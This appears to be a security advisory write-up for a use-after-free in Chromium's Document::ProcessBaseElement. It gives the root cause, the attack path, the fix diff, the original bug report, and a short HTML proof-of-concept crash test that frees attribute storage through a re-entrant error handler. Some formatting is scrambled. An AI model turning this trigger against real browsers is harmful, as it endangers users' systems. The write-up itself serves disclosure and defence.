CVE-2026-10016
Overview
Background
- `Document::ProcessBaseElement`
- recomputes the document’s base URL and base target from the first
<base>element’s attributes (third_party/blink/renderer/core/dom/document.cc:5095). - `AtomicString`
- Blink’s interned string;
FastGetAttributereturns aconst AtomicString&referencing the attribute’s storage slot inside the element’s attribute vector. - `UpdateBaseURL`
- applies the new base URL and, per the fix’s own note, can fire events and run script (
document.cc:5165).
Root Cause Analysis
Pre-fix, ProcessBaseElement saved raw pointers into attribute storage: const AtomicString* href = nullptr; / const AtomicString* target = nullptr; (third_party/blink/renderer/core/dom/document.cc:5100-5101), assigning href = &value; and target = &value; where value is the reference returned by base->FastGetAttribute(...) (document.cc:5106-5114). With href live, when base_element_url != base_element_url_ the function calls UpdateBaseURL() (document.cc:5165), a synchronous callout that can run author script. That script can mutate the same <base> element’s attributes, reallocating the backing attribute vector and freeing the buffer the saved target pointer references. On return, the function dereferences the now-stale pointer three times: target->contains('\n') || target->contains('\r'), target->contains('<'), and base_target_ = *target; (document.cc:5170-5176), a use-after-free. The invariant — values borrowed across a script-running callout must not be raw pointers into mutable element storage — was violated.
The fix changes href/target to owning AtomicString values copied out of FastGetAttribute (AtomicString href; ... href = base->FastGetAttribute(html_names::kHrefAttr);), replaces the pointer tests with href.IsNull()/target.IsNull() and value dereferences (target.contains(...), base_target_ = target;), and adds the comment that UpdateBaseURL can run script (diff @@ -5097, @@ -5123, @@ -5162). Holding copies means re-entrant attribute mutation can no longer dangle the borrowed slot.
UpdateBaseURL) that could free that storage before the pointers were read; the fix stores AtomicString copies instead of pointers.Attack Path
- Set up a `<base>` with a speculation-rules script
The page has a
<base>and a<script type="speculationrules">whose source is not a JSON object (e.g.[]), as in the added crashtest. - Mutate `href` from script
Assigning
b.hrefentersProcessBaseElement, which borrowstargetas a raw pointer and, since the URL changed, callsUpdateBaseURL()(third_party/blink/renderer/core/dom/document.cc:5113-5114,5165). - Re-enter and free
UpdateBaseURLsynchronously dispatches anerrorevent whose handler callssetAttributeon the same<base>, reallocating and freeing the attribute buffer. (inferred: the speculation-rules dispatch chain is the reporter’s trace, not shown indocument.cc) - Use after free
Control returns and
target->contains(...)/*targetread the freed slot (document.cc:5170-5176).
Impact Assessment
<base> element’s attribute storage from a re-entrant event handler while ProcessBaseElement still held a raw pointer into it, yielding a use-after-free read in the renderer process. The advisory rates this high severity with no in-the-wild exploitation (reporter credit pwn2addr); escalation beyond the freed-memory read is not shown in the material (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/dom/document.cc |
modified | |
forthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html |
modified |
Files Changed
third_party/blink/renderer/core/dom/document.ccthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
Audit Directions
- Borrowed pointers across calloutsFlag raw pointers/references into DOM attribute or node storage that stay live across any call able to run script.
- Hidden script executionTreat URL/base/style updates (e.g.
UpdateBaseURL) as potential synchronous script-dispatch points when reasoning about object lifetimes. - Container reallocation invalidationWhen holding a pointer into a
Vector-backed store, confirm no intervening operation canpush_back/grow and reallocate it.
Patch
From dffb572d0b0cdf92d0aaef482ffc4d22cef4cabc Mon Sep 17 00:00:00 2001 From: David Baron <[email protected]> Date: Thu, 21 May 2026 17:23:40 -0700 Subject: [PATCH] Make Document::ProcessBaseElement store strings rather than pointers to strings. This changes Document::ProcessBaseElement to use AtomicString rather than using const AtomicString* that point into an element's attribute storage (which could be modified in the middle of the function). Fixed: 515155946 Change-Id: I56dba34c3df8e0b3752b4bfcc2ee6c248694bcc0 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7868910 Reviewed-by: Mason Freed <[email protected]> Commit-Queue: David Baron <[email protected]> Cr-Commit-Position: refs/heads/main@{#1634618} --- diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc index 5bf48af2..e73c68f 100644 --- a/third_party/blink/renderer/core/dom/document.cc +++ b/third_party/blink/renderer/core/dom/document.cc @@ -5097,21 +5097,16 @@ // Find the first href attribute in a base element and the first target // attribute in a base element. - const AtomicString* href = nullptr; - const AtomicString* target = nullptr; + AtomicString href; + AtomicString target; for (HTMLBaseElement* base = Traversal<HTMLBaseElement>::FirstWithin(*this); - base && (!href || !target); + base && (href.IsNull() || target.IsNull()); base = Traversal<HTMLBaseElement>::Next(*base)) { - if (!href) { - const AtomicString& value = base->FastGetAttribute(html_names::kHrefAttr); - if (!value.IsNull()) - href = &value; + if (href.IsNull()) { + href = base->FastGetAttribute(html_names::kHrefAttr); } - if (!target) { - const AtomicString& value = - base->FastGetAttribute(html_names::kTargetAttr); - if (!value.IsNull()) - target = &value; + if (target.IsNull()) { + target = base->FastGetAttribute(html_names::kTargetAttr); } if (GetExecutionContext() && GetExecutionContext()->GetContentSecurityPolicy()->IsActive()) { @@ -5123,8 +5118,8 @@ // FIXME: Since this doesn't share code with completeURL it may not handle // encodings correctly. KURL base_element_url; - if (href) { - StringView stripped_href = StripLeadingAndTrailingHtmlSpaces(*href); + if (!href.IsNull()) { + StringView stripped_href = StripLeadingAndTrailingHtmlSpaces(href); if (!stripped_href.empty()) base_element_url = KURL(FallbackBaseURL(), stripped_href); } @@ -5162,18 +5157,19 @@ } else { base_element_url_ = FallbackBaseURL(); } + // NOTE: UpdateBaseURL can fire events and thus run script. UpdateBaseURL(); } AtomicString old_base_target = base_target_; - if (target) { - if (target->contains('\n') || target->contains('\r')) { + if (!target.IsNull()) { + if (target.contains('\n') || target.contains('\r')) { UseCounter::Count(*this, WebFeature::kBaseWithNewlinesInTarget); } - if (target->contains('<')) { + if (target.contains('<')) { UseCounter::Count(*this, WebFeature::kBaseWithOpenBracketInTarget); } - base_target_ = *target; + base_target_ = target; } else { base_target_ = g_null_atom; } diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html new file mode 100644 index 0000000..1a42ece --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html @@ -0,0 +1,12 @@ +<!DOCTYPE HTML> +<base id="b" href="original-base-url" target="_top" att1="1" att2="2" att3="3"> +<script id="s" type="speculationrules">[]</script> +<script> +let b = document.getElementById("b"); +document.getElementById("s").addEventListener("error", event => { + for (let i = 1; i <= 10; ++i) { + b.setAttribute(`newatt${i}`, `value${i}`); + } +}); +b.href = "/new-base-url"; +</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..1a42ece
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-with-speculation-rules-onerror.html
@@ -0,0 +1,12 @@
+<!DOCTYPE HTML>
+<base id="b" href="original-base-url" target="_top" att1="1" att2="2" att3="3">
+<script id="s" type="speculationrules">[]</script>
+<script>
+let b = document.getElementById("b");
+document.getElementById("s").addEventListener("error", event => {
+ for (let i = 1; i <= 10; ++i) {
+ b.setAttribute(`newatt${i}`, `value${i}`);
+ }
+});
+b.href = "/new-base-url";
+</script>
Original Bug Report
Use-After-Free via re-entrant attribute mutation during synchronous speculation-rules error dispatch
Steps to reproduce the problem
-
Download ASAN Chromium Download asan-win32-release_x64-1633823.zip
-
Launch Chrome
chrome.exe --no-sandbox poc.html
Problem Description
Document::ProcessBaseElement borrows a raw const AtomicString* into a <base> element’s mutable AttributeVector slot and then calls Document::UpdateBaseURL. UpdateBaseURL synchronously dispatches a JavaScript error event on any speculation-rules <script> whose source is not a JSON object. The handler can mutate the same <base> element so the AttributeVector backing buffer is freed and the slot pointed to by the saved raw pointer is reclaimed. When the outer call resumes, it reads target->impl_ from the freed bucket via StringImpl::find and scoped_refptr::operator=, dereferencing freed memory and calling StringImpl::AddRef on an attacker-influenced pointer value.
Any b.href = ... or b.target = ... from script enters Document::ProcessBaseElement via HTMLBaseElement::ParseAttribute (third_party/blink/renderer/core/html/html_base_element.cc:36). That function saves a raw const AtomicString* pointing into the first <base>’s target attribute storage, then calls UpdateBaseURL while that pointer is still live on the stack:
// Document::ProcessBaseElement third_party/blink/renderer/core/dom/document.cc:5099
5099: const AtomicString* href = nullptr;
5100: const AtomicString* target = nullptr;
...
5113: target = &value; // raw pointer into a mutable Attribute slot inside AttributeVector
...
5147: if (base_element_url != base_element_url_) { // forced true by the attacker changing `b.href`
...
5164: UpdateBaseURL(); // synchronous callout while `target` is still borrowed above
5165: }
UpdateBaseURL (document.cc:5019) iterates every HTMLScriptElement descendant on the same stack and calls ScriptLoader::DocumentBaseURLChanged on each. For a <script type="speculationrules"> element, that re-parses the original source under the new base URL via AddSpeculationRuleSet, which fires an error event when the JSON parses to anything other than an object (e.g., the top-level array []):
// ScriptLoader::AddSpeculationRuleSet third_party/blink/renderer/core/script/script_loader.cc:1380
1380: if (speculation_rule_set_->error_type() ==
1381: SpeculationRuleSetErrorType::kSourceIsNotJsonObject || // `[]` is JSON but not an object, this branch fires
1382: speculation_rule_set_->error_type() ==
1383: SpeculationRuleSetErrorType::kInvalidRulesetLevelTag) {
...
1386: element_->DispatchErrorEvent(); // runs attacker `onerror` JS on the same stack while `target` is still borrowed
A single setAttribute from the onerror handler is enough to free the buffer target borrowed from. Vector::push_back falls into Vector::AppendSlowCase when at capacity, which allocates a new BufferPartition buffer, moves the elements over, and frees the old one:
// Vector::AppendSlowCase third_party/blink/renderer/platform/wtf/vector.h:2380
2382: Vector<T, InlineCapacity, Allocator>::AppendSlowCase(U&& val) {
2383: DCHECK_EQ(size(), capacity());
...
2386: ptr = ExpandCapacity(size() + 1, ptr); // allocates new buffer, copies, FREES the buffer `target` points into
2392: }
With six attributes the AttributeVector (Vector<Attribute, 4>) already uses an external 96-byte buffer, one setAttribute grows it and frees that buffer, leaving target dangling.
When the error event returns, Document::ProcessBaseElement resumes and dereferences the stale pointer three times:
// Document::ProcessBaseElement third_party/blink/renderer/core/dom/document.cc:5167
5167: AtomicString old_base_target = base_target_;
5168: if (target) {
5169: if (target->contains('\n') || target->contains('\r')) { // UAF
...
5172: if (target->contains('<')) { // UAF
...
5175: base_target_ = *target; // UAF
Summary
Use-After-Free via re-entrant attribute mutation during synchronous speculation-rules error dispatch
Custom Questions
Type of crash:
renderer
Crash state:
Please see asan.log
Reporter credit:
pwn2addr
Additional Data
Category: Security
Chrome Channel: Canary
Regression: N/A \
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-1633823.zip?generation=1779317172944118&alt=media
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64/asan-win32-release_x64-1633823.zip?generation=1779317172944118&alt=media